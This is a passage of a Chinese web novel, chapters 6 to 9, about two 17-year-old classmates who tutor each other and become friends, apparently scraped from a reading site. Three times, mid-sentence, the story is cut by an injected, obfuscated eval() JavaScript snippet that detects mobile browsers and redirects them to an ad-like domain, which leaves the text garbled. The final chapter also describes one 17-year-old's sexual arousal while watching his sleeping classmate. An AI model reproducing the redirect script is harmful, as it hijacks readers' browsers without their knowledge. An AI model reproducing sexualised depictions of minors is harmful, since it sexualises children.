他深呼了一口气,做足了心理准备后,以一副慷慨赴死的样子对着玻璃门睁开了眼。 玻璃门的另一边,一手拿着拖把一手拎着水桶的图书馆保洁一脸看傻子的眼神看着他。 边淙:…… 有点尴尬,先挠个头吧。 付野侧过头望向边淙,唇角不自觉地勾起了一抹很浅很浅的弧度。 “孩子!图书馆每周日固定闭馆!今天不开放!”保洁阿姨站在图书馆里,扯着嗓子对着门口的边淙喊道,“赶紧回去吧!你旁边这小伙儿都在这里站好一会儿了!别中暑了!!” 边淙先是“啊?”了一声,然后又“啊?”了一声。 图书馆周日闭馆? 付野在这等了他很久? 边淙偏过头看向付野:“刚刚那个阿姨说图书馆闭馆了。” 付野点头说:“我听见了。” 保洁阿姨扯着嗓子对着外面喊,不止边淙和付野听见了,靠得不远的行人估摸也都听到了。 边淙又问:“你几点来的啊?” 付野低着眼,视线落在了边淙身上那件穿着龙袍的小狗T恤上:“比你早一点。” 边淙没问这个“早一点”到底是早了多少,只是看到了他鬓边的头发已经被汗湿了。 他从口袋里抽出纸巾,扯出来一张:“对不起。” “嗯?”意想不到的三个字出现在耳中,付野疑惑地抬起了头。 边淙的手上拿着一张叠得整整齐齐的面巾纸,擦过付野的唇角,落在了他汗湿的鬓角上。 并不习惯肢体接触的付野下意识往后撤了一步。 边淙愣了一下,随后将手中的纸巾递给了他:“怪我,我不知道市图书馆会闭馆,对不起。” 付野接下纸巾,很快地抬眸看了一眼边淙,摇头道:“不怪你。” 边淙笑了起来,握住了他的胳膊将他带到了阳光下,又走进了树荫中。 开了自行车的锁,边淙抬腿跨了上去,侧过身拍了拍后座:“上来。” 付野大概也是确实热得有些懵,边淙喊他上车他就真的跨坐上了自行车后座。 行了很长的一段路后付野才后知后觉地开口:“这是去哪儿?” “啊?!”边淙的声音有些大,“我没听清!” 付野偏过头,望见的是边淙被风吹乱的头发和鼓起来的衣摆,以及衣摆下一截儿白皙劲瘦的腰。 “我们去哪儿?”付野抬高声音喊了一句。 边淙洋溢着笑容微微侧过头:“我家!!” 打开家门的那一刻,坐在客厅里边刷平板边看电视的芮书蕾朝他探了个脑袋:“哟,小狗皇帝回来了啊?不是说约了同学学习吗?怎么就回来了?” “我就说他根本学不下去,看吧,出门还没一个小时就到家了,净瞎折腾。”边淙的父亲边成磊也从厨房探了个脑袋出来。 “什么啊!”边淙怒了,“谁知道图书馆还会闭馆的啊!” “那还不是你自己根本不往图书馆跑。”芮书蕾无情拆台。 边淙无语地蹬掉脚上的运动鞋,踩进拖鞋里,蹲下身打开鞋柜翻出了一双客用的拖鞋出来。 “管你怎么说呢,我是诚心学习的,所以我把我的同学拐家里来了。”边淙站起身,朝着站在门口的付野招了招手,“你先进来吧。” “诶?带同学来了啊?”芮书蕾起身走到了门边,望向了拘谨着站在门口的付野,她笑得很温和,语气也柔了下来,完全不是刚刚对边淙说话的那种语气,“热不热呀,别站门口了赶紧进来,对了淙淙,你正好把冰箱里的绿豆沙拿出来。” 边淙应了声好,但也没有就这么把付野一个人放在门口自己进房间。 他绕到付野的身后,双手搭上他的肩膀将他推进了家里。 “诶你这个同学我都没见过,叫什么啊?”芮书蕾好奇地看着付野这张陌生的脸,“你之前带回家过的同学我都记得的。” “叫付野。”边淙说,“披心相付的付,旷野的野。” 边淙说这话时付野正好蹲下,在他的脚边慢吞吞地解鞋带。 听到边淙的回答时,他猛地抬起了头。 边淙并没有在看他,他只是懒懒散散地倚在玄关口嚷嚷着询问今天中午吃什么。 付野收回视线,解开鞋带换上拖鞋,起身前,将自己的帆布鞋贴着放在了边淙的球鞋旁。 两双鞋散着的白 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小心翼翼地连着绿豆沙和椅子一块儿搬进房间摆上桌后,他一屁股坐在了付野的身边,拿起勺子:“外面太热了我还没缓过来,先吃点儿绿豆沙缓缓。我妈妈煮绿豆很好吃,你快尝尝。” 说完,边淙满眼期待地看向了他。 付野在他这热烈的眼神下,拿起勺子舀了一勺送进口中。 “好吃吧?”边淙的表情里带着小小的得意。 付野点头:“很好吃。” 边淙“嘿嘿”笑了笑,单手撑着脑袋,和他肩并肩坐着一块儿吃芮女士牌绿豆沙。 吃完绿豆沙放下碗,边淙毫不客气地从书包里翻出了被红笔划得惨不忍睹的作业,哭丧着一张脸看向付野。 两个小时后,房门被敲响。 芮女士来喊两位学习分子出来吃饭。 边淙将书猛地一合上,拉过付野的胳膊,将他带到了餐厅,让他坐在了自己的身边。 边淙家里吃饭没有什么食不言的规矩,或者说饭桌就是用来唠嗑的地方。 边成磊端出来最后一道菜,解下围裙坐在边淙对面,对着他扬了扬下巴:“小狗皇帝,今天学习学得怎么样啊?” “不瞒你们说,十分良好。”边淙看向了坐在自己身旁的付野,“你们是不知道他有多耐心!” “我那个英语成绩你们也都知道,哥哥他教我英语都一直叹气想揍我,我同学教我英语也教到发疯,整得我都不自信了。” “但他不一样!他真的超级超级耐心,我就算怎么教都教不会他也不会叹气发燥!” “你那个英语成绩你还是别自信的好。”芮书蕾无语地看了一眼,视线转到付野的身上时,瞬间变得柔和多了,“教他学英语真是辛苦你了,可得多吃点儿菜补一补。” 付野连忙摇头说没有。 “怎么没有啊?确实辛苦了。”边淙十分有自知之明地开口,他放下手中的筷子拿过公筷,夹了一大块排骨放在付野的碗里,“有你真好,我感觉我的英语好像有救了,下周你还能来吗?能每周都来吗?” 付野低下头夹起排骨,唇角勾起了很小的一个弧度。 “好。”他听见自己的声音。 7. 第 7 章 边淙的自主学习时间上限只有两个小时。 吃过中饭回到房间后,边淙坐在书桌前,心安理得地拿起了漫画书。 付野坐在他的身边,有些疑惑地看着他。 “哦对!”边淙突然反应了过来,他将漫画合上放在一旁,侧过身子面对着付野,“刚刚你教完我了,现在轮到我教你了,首先拿出你的物理作业——” 边淙接过付野递过来的物理作业翻了翻。 他一开始以为班主任所说的付野理综成绩略有些薄弱是客套话,但当他看到对方的试卷时才知道这是实话。 相比起边淙全是错题的英语作业,付野的物理作业上错题并没有很多,且都是些明显偏难的题。 他的字小小的,和他这个人一样,整齐,且娟秀漂亮。 每一道错题的旁边都用红笔写下了正确的解题过程。 “很厉害诶,都没错多少,而且字很漂亮。”边淙将习题还给了付野,“之前这些老师讲过的题你现在都会吗?” 付野认认真真地翻看着以前错过的题目,点头:“会的。” “好厉害!”边淙毫不吝啬地夸赞道,“那——我们来对一下昨天的作业答案吧?” 付野点头说好。 边淙侧过身捞过放在地上的书包,翻出了自己的物理作业。 他的字儿也是好看的,但和付野的字是完全两个风格。 边淙总是习惯性把字写得很大,习题册上留下的答题区域虽然也不小,但他的字儿总能把整个位置占得满满当当,偶尔碰到些解题过程很长的题,他的字儿就会变得越来越小越来越小越来越小,看上去十分委屈。 他仔仔细细地比对着两本习题,手中拿着一支水性笔,在自己的习题上将两个人答案不同的题序圈出来。 “我先看看我们两个的答案啊,我的也不一定是对的,有可能是你写对了我写错了。” 付野偏过头看着他的侧脸,好一会儿后,他喊了一声“边淙”。 边淙停下笔回望过去:“怎么啦?” 付野很想问他为什么会毫无芥蒂地和他来往,明明他的身上没有任何东西是边淙可以有所图的。 但看着边淙这双赤诚的眼睛,他问不出这句话,所以想了好一会儿,他才开口道:“你愿意和我做朋友吗?” 边淙表情十分夸张地“啊?”了一声。 他拿起手中的水性笔在对方的手背上轻轻敲了一下:“你都没把我当朋友啊?” “我没有。”付野飞快摇头,“我只是——” 只是觉得自己配不上。 “安啦安啦。”边淙望着他,“当然愿意和你做朋友。” 给付野讲题其实没有什么困难,他是个很聪明的人,边淙只需要在旁边点拨一下他的思路,他就能自己贯通。 不像自己,边淙想。 教自己学英语那简直就是比孙大圣带着他那个不成器的师父西天取经还难。 互相教学的时间结束,边淙这会儿是真的心安理得地拿起了漫画书。 给自己拿了一本不说,还从书柜里翻了各式各样题材的漫画摆在桌上,孜孜不倦地卖着安利。 “这本好好看,我超级喜欢。” “这本,这本也很好看,推荐你看!” “还有这个还有这个,你现在就看,我在旁边盯着你看!” “不继续学习没关系吗?”付野问。 “今天已经学超时了。”边淙义正词严,但转念一想,他对自己的英语念想就是及格大吉,但付野不一定,他也不知道付野平常在周末是不是都在认真学习,自己这番操作可别耽误人家…… “不过你要是想接着学的话,也行。”边淙咬了咬牙。 付野没有自己的爱好,但很明显,边淙有。 边淙在向他分享自己的爱好。 他的确每天都很认真地学习,很在乎自己的成绩。 每一分每一秒都盼着高考来临,离开这座城市,去往一个没有人认识他的地方。 但……他想要了解边淙。 付野接过了边淙说好看的每一本漫画,低着头认认真真翻看起来。 “滴滴” “滴滴” 倒扣在桌上的手机响了两声,两个人的视线不约而同地被引了过去。 边淙放下漫画拿过手机点进了微信。 [陶火火:在不在!] [快乐小狗:做咩?] 过了一会儿后。 [陶火火:发送了一个位置] [陶火火:新开的一家餐厅,离学校很近,明天中午要不要一起去尝尝] [陶火火:这几天下来我已经被食堂折磨疯了我真的不想再吃全是油又难吃的菜了!!] [快乐小狗:就咱们俩吗,还有谁啊?] [陶火火:我群发的] [陶火火:目前已经凑齐了五个人,人多A起来便宜] [陶火火:怎么样怎么样,要不要去试试!] 边淙拉长尾音“嗯——”了一声。 他很喜欢吃东西,且很能吃,他哥哥不止一次说过他像个饕餮。 但二中这个食堂也是真的难吃,他每一次吃食堂都要做很长时间的心理建设,如果不是他哥哥使诈让芮女士没收了他的手机只准他在家里用的话,他一定会天天在学校里点外卖的。 离学校很近的餐厅,不管好吃难吃总得试一试,反正再难吃也不会比食堂难吃了。 如果好吃的话,还能时常去开个小灶。 指尖滑在键盘上,一个“去”字刚打出来,边淙停下了动作。 他偏过头看了一眼坐在身旁的人。 “付野。”边淙推了一下他的胳膊,“明天中午要不要一块儿吃饭?” 付野没做他想,以为他说得是和前一天一样,一起去食堂。 他点了头应了声“好”。 “行,那我就跟火火说一声。”边淙拿起手机指尖飞快地在屏幕上敲着。 [快乐小狗:去,我带个人] “诶?”付野听到陌生的名字愣住了,“什么?” “是这样的,刚刚我同桌给我发消息——” 边淙将陶阳焱发给他的消息简略地告诉了付野。 付野很轻地蹙了一下眉,而后摇头:“边淙,要么我就不去了吧。” “为什么啊?”边淙疑惑道,他从屏幕里收回视线,抬起眼望着付野的表情时,好像又明白了他在担忧什么,“啊没事儿,你放心,他们都是我很好的朋友,也都是很好的人。” 付野望着他的眼睛,依旧没有办法拒绝他。 - “老实交代。”第二天大课间,付野被班主任叫去办公室的时候,陈阳不知道从哪儿窜出来锁了他的喉。 边淙仰着头,发出了绵羊的声音:“咩啊!!” “你什么时候和——”陈阳的下巴朝着付野的位置抬了抬,“新同学搭上的?” “就是啊,昨天火火说你要带他跟我们一块儿吃饭的时候我还以为他在开玩笑呢。”另一个男生伸了个脑袋过来,“你们俩咋认识的啊?” 边淙扒拉开了陈阳的胳膊,将那天买舒芙蕾回来碰到付野的事儿简单地叙述了一遍。 “英雄救美啊?”唐筱晴绕到了他的身边,倚着他的桌子插话道,“后来呢?” “什么后来?后来老班说我俩成绩刚好适合互补学习,我觉得挺合理的,就跟他一块儿学习了呗。”边淙说。 虽然一开始付野拒绝了,但他没说。 十七岁,正是要脸的年纪。 “然后还带人回家,把人往自己的交际圈里揽,就连他身上那套校服都是你的吧,这么殷勤呢边淙。”陶阳焱挑眉看他,“肯定又是突然就圣父心泛滥,看到别人身世惨受欺负想要拯救他人出水火了对吧?之前读初中的时候你就这样,上赶着跟那个有些结巴的胆小女孩儿交朋友,整得人小姑娘对你芳心暗许的。你要是真想一鼓作气把你那个破烂英语学好让你妈给你请个家教不比这来得快?” 陶阳焱的声音没有很大,但从办公室回到教室的付野却正好听见了陶阳焱的这句话。 他停在了教室门口,虚掩着的门正好挡住了他的身影。 他也想要知道边淙会给出什么答案。 是正义感,是同情,就算是在捉弄他,无论是什么都好,他想知道。 “什么叫圣父心泛滥,你能不能精确用词。”边淙无语地推了一下他,差点儿给人推地上去,“而且什么就芳心暗许了,你别编排人女孩子啊。” “行行行你说什么就是什么吧,你这不是圣父是什么?”陶阳焱夸张地张开了双臂,本来就没有坐稳的他整个人向后仰,“啊——边淙——大爱无疆——” “你有毛病。”边淙赶忙伸手将自己快要倒地的同桌拽了起来。 “就是,怎么说呢……”边淙被人围在了中间,他的声音却依旧清晰明了地传出了教室门,传入了付野的耳中,“我感觉他很合我的眼缘,你们能理解吗,我看他第一眼的时候就很想和他交朋友。” “而且他人很好的,你们中午吃饭别说些不该说的话让人不舒服啊。” 站在门口的付野怔了一瞬。 边淙给出了他从来没有想过的回答。 “这个喷不了,这个是一见钟情。”陈阳感叹道,“你小子——” “我小子。”边淙打断他,“一见钟情什么啊?我铁直男好不好?谁不知道我喜欢女孩子的啊?你这个人看人与人之间的关系真是龌龊,我建议你趁着还没上课赶紧去洗洗眼睛。” “喔——”唐筱晴突然露出了恍然大悟的表情,“我懂了!” “你又懂什么了?” “边淙弯了!” 边淙一脸麻木,指着大门的方向:“你也去洗,和陈阳一块儿。” “哈哈哈哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207424|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈!!!” 身旁围着的一圈人发出了惊天的爆笑声,被他们围在中间的边淙一脸无语地扫过他们每一个人的脸。 这帮人一个两个的,脑子里怎么装不了一点儿纯洁友情,只有情情爱爱? 真是一点都不符合社会主义核心价值观。 - 开在学校附近的便宜大碗的餐厅到了中午,里面坐着的几乎都是穿着校服的学生。 陶阳焱从老板手中接过菜单和铅笔,一遍问着所有人想吃什么,一边点菜。 其他围坐在一块儿的同学们则是不约而同地将注意力放在了他们这个小团体里新加入的付野身上。 “听边淙说你们昨天在他家里激情学习,你们俩学得咋样?”陈阳好奇道。 付野从来没有过和这么多同龄人坐在一起吃饭的时候,也不知道该如何面对这样的场景。 他有些不知所措地看向了边淙。 “学得很好啊。”边淙接收到了他求助的视线,挑着眉臭屁地望向陈阳,“我跟你讲,我期中考试将给英语老师一点小小的震撼。” “噗……你啊?”饭桌上唯二的女生黎夏漾听着边淙大言不惭的话,握着水杯靠在唐筱晴的身上笑得直发抖,“别给咱们英语老师震死了。” 边淙嘴角抽了抽。 “呵呵,我不信。”唐筱晴更是一针见血,“你摸底考连满分的一半都没考到。” “不是,你干嘛不信啊?”边淙急了,“你不能因为你的教学能力差,教学失败就破防啊筱晴。” “我跟你说。”唐筱晴压根没有搭理边淙,而是转过头望向了付野,“他这个人语言系统有问题的,我去年教他的时候他写作文,把snow写成yuki,我指出来给他他还问我这有什么错,真给我整无语了。” 边淙:…… “话不是这么说……” “没关系用英语怎么说?”唐筱晴凌厉地望着他。 边淙:…… 哈哈。 脑子里闪过的词汇是,大丈夫呢。 “看,这就是他的语言系统,他这会儿脑子里一定是呆胶布呆胶布,小学词汇他都不知道的。”唐筱晴十分了解边淙,“超级紊乱。” “哈哈哈哈哈哈哈!!!”黎夏漾笑得更放肆了。 “而且他这个人,我之前一度怀疑他有点儿什么注意力无法集中的怪病。”另一个男生紧跟其后,疯狂拆台,“我们几个暑假凑一块儿写暑假作业的时候,他又是扣手又是拔头发又是剪指甲又是先趴下来闭目养神一会儿最后掏出了平板看动漫,反正折腾大半辈子归来仍是一张白卷。” 边淙:…… 这玩意儿开学之前写完了不就可以了吗反正他写完了! “还一身少爷病。”陶阳焱不甘示弱,“我们夏季校服一个人定两套他一个人定四套,身上一出汗就要换衣服,之前上个体育课他一天能换四件!” 边淙:…… 每个人有不同的生活习惯怎么了! 这都什么朋友啊,他让这帮人不要在付野面前说让他难堪的话这群人倒是都听进去了,但怎么倒打一耙起来揭他老底啊!! 边淙望向身旁的付野:“你别……” 他刚吐出来两个字儿,视线落在了付野的眼睛上。 付野听人说话的时候虽然依旧是微敛着眸不与人对视的,但他听得很认真,狭长羽睫下的那双眼很亮。 付野捕捉到了边淙发出的微小动静,偏过头抬眼与他对视,眼眸中还带着很轻的笑意:“怎么了?” “没事儿,他们这帮人就知道揭我底。”边淙笑笑,然后刻意板着张脸扫了一圈,“我跟你们说,谁要是把他吓跑了不教我了,我的英语成绩就落在谁身上了,说的就是你筱晴!” 唐筱晴一脸怜爱地看向付野:“……这种苦差还是交给你吧,苦了你了。” “菜来咯——”老板拖着托盘走到他们桌边,每一道菜都很大一份,且价格实惠,“米饭在那边,自己盛啊,吃饱为止。” 话音落下,边淙拿起碗“唰”得一下就站了起来。 眼中满是对食物的渴望。 “他还是只猪,吃饭吃超多。”黎夏漾趁着边淙去盛饭了,做了最后补充。 “喂!黎夏漾!我听见了!!”站在饭桶旁边的边淙不满地回过头,“不许人身攻击我啊!!” 餐桌上再一次爆发出了一阵“哈哈哈哈”的笑声。 付野微微低着头,跟着他们很轻地笑了一声。 这顿饭吃到了将近中午一点。 边淙的朋友们没有谁在刻意照顾他,也没有谁在刻意疏远他,更没有人问他任何会让他感觉到不舒服的话题。 就算他们嘻嘻哈哈地讲着他不知道的事情时,边淙也会偏过头跟他解释,不会让他一个人一头雾水。 就如同边淙所说的一样,他的朋友们都是很好的人。 但边淙是最好的人。 8. 第 8 章 兴许是学校更改的“补课也要穿校服”这条规定起了效用,又兴许是九月到了,全校学生全都开学后门卫管理更严格了,之前在学校里发生的那些事情都没有再次出现过。 那些污脏的,用来形容他的词汇如同被风裹挟着的落叶,飘摇着飞上了天,只留下人群中零星些许落在他身上的异样目光与小声议论。 没关系,付野并不在意。 他拎着班主任下午递给他的新校服,穿过人群,绕进小巷,朝着自己的住所走去。 口袋中的手机震动了两下,付野缓下脚步,拿出手机点进微信。 他的微信是第一次去边淙家里的时候,边淙帮他注册的。 他甚至记得当时自己对边淙说自己没有微信,没有需要联系的人时,边淙的每一个表情。 他先是疑惑又震惊,随后勾起了很热情地笑容,对他说:“那你现在有了需要联系的人,就是我!” 付野低下眼勾了勾唇角,点开了微信里唯一一个联系人的聊天框。 [快乐小狗:我妈妈问你明天有没有想吃的菜] [快乐小狗:小狗摇尾巴.JPG] 付野走进昏黑..逼仄的楼道,踩着满是灰尘的阶梯上楼。 整个楼道里只有他手机屏幕在亮着光,那张漂亮的脸在微弱的荧光下显得有些温和。 [旷野之息:我都可以,谢谢伯母]* 他的微信名字也是边淙给他取的,边淙说这个微信名里既有他的名字,又正好是边淙很喜欢的一款游戏的名字,问他喜不喜欢,取这个名字可不可以。 淙淙流水是旷野的呼吸。 付野喜欢这个名字。 [快乐小狗:那我就按我喜欢吃的报菜名了啊] [快乐小狗:明天见!] [快乐小狗:小狗跳跳.JPG] [旷野之息:好] [旷野之息:明天见] 将手机收回口袋中,付野站在了家门口,拿出钥匙拧开房门,吱呀一声响后,走了进去。 房子很小,客厅连着卧室,卧室连着阳台,整个房子加起来可能也就不到二十平米。 他的母亲临死之前都在幻想着自己的病和健全的儿子能得到那个男人的一丝垂帘,不求被迎进门但求他救自己一命,拉自己一把。 但结果呢,那个男人不过是加速她死亡的催化符罢了。 付野将书包放下来,拿起手中的新校服走进了阳台。 阳台上晾着的那件校服和自己身上的校服都是边淙借给他的。 新校服发下来了,也就意味着他要将边淙的衣服还回去了。 他垂下眼眸,将崭新的衣服浸泡进水池里,一下一下,搓洗得很用力。 第二天早,付野如约站在边淙家门口摁下门铃时,是边淙的妈妈给他开的门。 芮女士穿着轻便休闲的亚麻长裙,一脸笑意地将他迎进了家里。 “来了呀,早上吃饭了吗?”芮书蕾笑眯眯地侧过头望着他问。 付野轻轻点头:“吃过了,谢谢伯母。” 芮书蕾往边淙的房间望了一眼,大门紧闭,没有一点儿要打开的迹象。 她无语地撇了一下嘴,而后望向付野笑得有些尴尬:“淙淙估计还没睡醒,你先在客厅坐一会儿,我去喊他。” 说完,气势汹汹地走向了边淙的房间,毫不留情地拍响了房门。 “啊——”边淙穿着有些褶皱的T恤和沙滩裤,顶着乱糟糟的头发揉着眼睛打开房门,看见自己妈妈的表情时,眯了眯眼,“干嘛啊妈妈,一大早就这么凶?” “人小野都到了,你来问我干嘛?”芮书蕾奇了,“你昨晚几点睡的,老实交代。” 边淙确实老实:“……实不相瞒,天亮了才睡下。” 这实在是怪不得他,他在昨晚睡觉之前点开了一部动漫,想着看一集就睡觉的。 但是动漫这个东西吧,看了一集之后只会想着再来一集再来一集,打着哈欠将这部漫画看完后,天,亮了。 芮书蕾无语地紧了紧拳头:“好的不学,这些坏习惯净跟着你哥哥学!” 边淙无辜地打了个哈欠,错开身位擦着芮女士的肩膀走出了房间。 付野坐在沙发上坐得很直,书包拉开着放在脚边,并拢着的大腿上放了两套校服。 “吃早饭了吗?”边淙揉着脑袋走到他的身边坐下,看着他问。 付野第二次给出“吃过了”这个回答。 “啊……”边淙又打了个哈欠,抓住他的手腕,“那先来我房间吧,不过你要等我一会儿,我要洗漱然后吃个饭。” “那个——”腿上的校服滑落,叠好的校服裤腿耷拉在了地上,“你的衣服,谢谢你。” 边淙这会儿的脑子并不是很清醒。 他盯着付野大腿上的校服看了好一会儿,后知后觉地“喔”了一声。 接过付野递给他的校服,边淙带着付野朝着房间走。 “淙淙,你早上吃什么啊?!”走进厨房的芮女士对着他的背影喊了一声。 边淙不甘示弱地喊了回去:“煎饺!!” 而后关上房门,一片清静。 松开拉着付野胳膊的手,边淙将那两套校服放在床上,打开衣柜拿出衣架,迷迷瞪瞪地将衣服往衣架上挂。 清香的洗衣液的味道钻入鼻腔,不同于芮女士买的果缤纷似得洗衣液,付野还给他的衣服上没有任何果香,闻起来感觉很干净。 边淙脑抽一般地拿起了一件明黄色的夏季校服贴在脸上,很重地吸了一口。 “什么牌子的洗衣液啊,我喜欢这个味道。”他偏过头看向付野,“让我妈妈买点儿这个好了。” 付野摇摇头:“不是什么牌子的洗衣液,就是普通的肥皂。” 边淙“喔”了一声,瘪了一下嘴。 那太不好了,芮女士从来不用肥皂洗衣服。 兴致缺缺地将这两套校服挂进衣柜,边淙望了一眼:“洗衣液这么不行吗?” 付野疑惑地“啊?”了一声。 “你看。”边淙错开了一个身位,抬手拨着那几件衣服道,“你还给我的拿两件比我妈妈扔洗衣机洗的那件,看起来都不一样,感觉更白净一些。” “这、这样吗?”付野错开眼神摸了一下鼻子。 “是的。”边淙郑重地点头,回过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207425|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身从衣柜里扯了两件衣服走进了浴室,“我去刷牙洗脸,顺便洗个澡,你要先写作业也行,想等我一块儿写的话,那你看漫画也行。” 付野应了声好,坐在了边淙的书桌前。 听着身后玻璃门内响起的水声,他慢慢地摊开了习题册,却一个字也看不进去。 “叩叩”敲门声响起。 “给我开个门呗?”芮女士的声音被隔音极佳的房门弱化了很多。 边淙还在浴室里,付野朝着那方玻璃门望了一眼后,很快地起身走到了门口,拉开了房门。 可是,明明房门没锁啊。 “淙淙怎么推你来开门了?”芮女士看到付野的表情问道,“他这个人真是,怎么还使唤起同学来了。” “不是的伯母。”付野立马摇头,“边淙还在洗漱没出来。” “这样啊。”芮书蕾端着两个盘子走进了房间里,将那两个盘子放在了书桌上,一盘是热气腾腾的煎饺,满满一盘,盘子边沿还搭着个小碟子,碟子里是辣椒和醋的蘸蝶,另一盘里是冒着丝丝凉气的,切成小块的西瓜,西瓜上插着两个银色的小叉子。 “昨天晚上买的西瓜,可甜了,小野你先尝尝,不用等他。”芮女士将那盘西瓜往付野的手边推了推,期待地看着他。 付野倒了声谢,叉起来了一小块西瓜送入口中。 “好甜。” “我就说吧!”芮女士得意地直起身,“昨天晚上买西瓜的时候他爸爸还说我挑的瓜看起来就不好吃,气死我了。” 付野摇头:“没有,它很好吃。” “好吃就好,想吃就跟我说我给你们切,冰箱里还有一半。”芮书蕾笑笑,“那我就先出去不打扰你们了啊。”想了想,又低下头小声道,“实在教不会淙淙就算了,别影响到自己的成绩。” 洗完澡出来的边淙一脸无语地望着这个对他学习能力极其不信任的芮女士:“你小声也没用,我听见了。” “哟呵。”芮书蕾回头看他,“听见了就听见了呗我又不怕你听见,英语笨蛋。” 边淙:…… 他大步走到芮书蕾身后,将人推出了房间,隔绝了她毫不留情的嘲笑声。 “真是的。”边淙拉开椅子坐在了付野身边。 水果香气透过四肢百骸传入付野的鼻腔里,刚洗完澡的边淙像个果盘似得,桃子香柠檬香各种水果香气混在一起,闻得他有些喉咙发痒。 边淙捞过那一大盘饺子,拿起筷子夹了只饺子送进嘴里,恶狠狠地咬了一口:“什么人啊这是!” 付野偏过头看着他一口一个饺子,眼中流转着道不明的艳羡。 是艳羡吗?他其实不太了解这种感情。 “怎么了?”边淙察觉到他的视线,转过头和他的视线相撞,他好像读懂了付野的眼神,“嘿嘿,是不是觉得可香了,我爸爸包的饺子,皮薄馅大,比外面卖的好吃。” 他从盘子里夹了一个饺子在醋碟里滚了一圈儿,抬到付野的唇边,另一只手拢着托在下方。 “给你吃一个,张嘴——” 付野下意识“诶?”了一声。 那双精致的陶瓷筷子贴上了他的唇。 9. 第 9 章 吃完早饭后的边淙将碗筷端进厨房,回到卧室坐下来后—— 他再一次打了个巨大的哈欠。 习题上的英语单词在他面前转着圈圈,一点点儿变形,边淙狠狠揉了揉眼睛,晃着脑袋看向习题册。 ZzzzzZzzZzzz…… “咚!” 边淙脑门儿磕习题上,吓了坐在他旁边的付野一跳。 “你很困吗?”付野看着他试图睁开眼却怎么都睁不开的样子,关心道,“要么……你睡会儿吧?” 等得就是这句话。 边淙抬起沉重的脑袋起身,一个转身后往床上一栽一滚,安详地闭上了眼睛。 付野偏过头看着他,眼底含着浅浅的笑意,他站起身,放轻动作拉上了窗帘。 房间里陷入了一片昏暗中。 “我本来洗澡洗清醒了的……”边淙抱着枕头翻了个身,一条腿曲着压在枕头上,闭着眼睛像是在说梦话,“但好像有点晕碳,实在顶不住了……对不起啊……” 话音落下,呼吸声变得绵长。 他就这么睡着了。 付野站起身,轻手轻脚地抬起身下的椅子往一旁放了些,侧过身从椅子和桌子中间的缝隙走了出来。 一片黑暗里,他站在边淙的床头,低着眼分辨着躺在床上的边淙的轮廓,直到视线一点一点习惯黑暗,躺在床上的人在他的眼里变得清晰。 他睡觉的样子很乖,半张脸都埋进了松软的枕头里。 纯棉的T恤衣摆被他的手臂往上带了些,露出了平坦的小腹,曲着腿的姿势使得沙滩短裤向上卷,匀称笔直的腿就这么大喇喇地入了他的眼。 一直以来,他都认为自己是一个很寡淡的人。 在大部分同性都拥有着不同次元的性幻想对象时,他对什么都无感。 偶然瞥见的黄色小广告中无论是同性还是异性都激不起他任何的兴趣,女性的曼妙的身姿,男性的壮硕的体魄以及视觉冲击极强的片段广告在他的眼中不过是电子垃圾。 他不会对任何起生理反应。 就连十五岁的那场梦也如此。 十五岁的梦里,成片的草浪在风中起伏成一片碧色的海,他躺在飘摇的草浪里,纯白的云挂在澄蓝的天空中,一眼望不到头。 风声裹挟着草声温和地拂过他的每一寸肌肤,而后,草浪被温热的潮水润湿。 他的首次梦..遗都都没第二个生物入梦。 作为一场欲..望下的错误产物生活了十七年的他,一直坚定地认为自己不会有被欲..望驱使的那一刻。 但现在,此时此刻,站在边淙床头的他,不可控的硬了。 感受着身体上的变化,付野没有任何动作,他只是紧紧盯着边淙,而后缓缓地蹲下了身。 视线落在边淙的脸颊上,脖颈上,锁骨上,看着他轻颤的睫毛,听着他匀称的呼吸,嗅着他好闻的味道,付野感受到自己的变化愈加明显。 好像哪里不对,付野想要捋捋自己的思绪。 他双手撑在床沿上,盯着边淙闭上的眼,一点一点朝着他的方向挪动,直到边淙的呼吸能够喷洒在自己的脸上。 他屏住了呼吸,视线一点一点篆刻着他的模样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207426|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不对——”边淙猛地睁开了眼。 付野被他吓了一跳,猛地往后撤了一步,拉开了两个人之间的距离。 边淙的眼瞳尚未聚焦,只是隐隐约约记得自己的房间里还有个人,他眯着眼嘟嘟囔囔:“你给窗帘拉上了还不开灯你还怎么看书?” 眼睛黑暗适应比付野的答话来得要快。 他与蹲在他床边的付野对视上了。 “我——” “你也困啊?”边淙把抱在怀里的枕头扔到了一旁,双手撑在床上,整个人往另一边挪了挪,腾了个空位出来,“那刚好了一块儿睡会儿了,省得我想着你在这乌漆嘛黑的房间里什么都干不了睡不踏实。” 付野望着他,没有动。 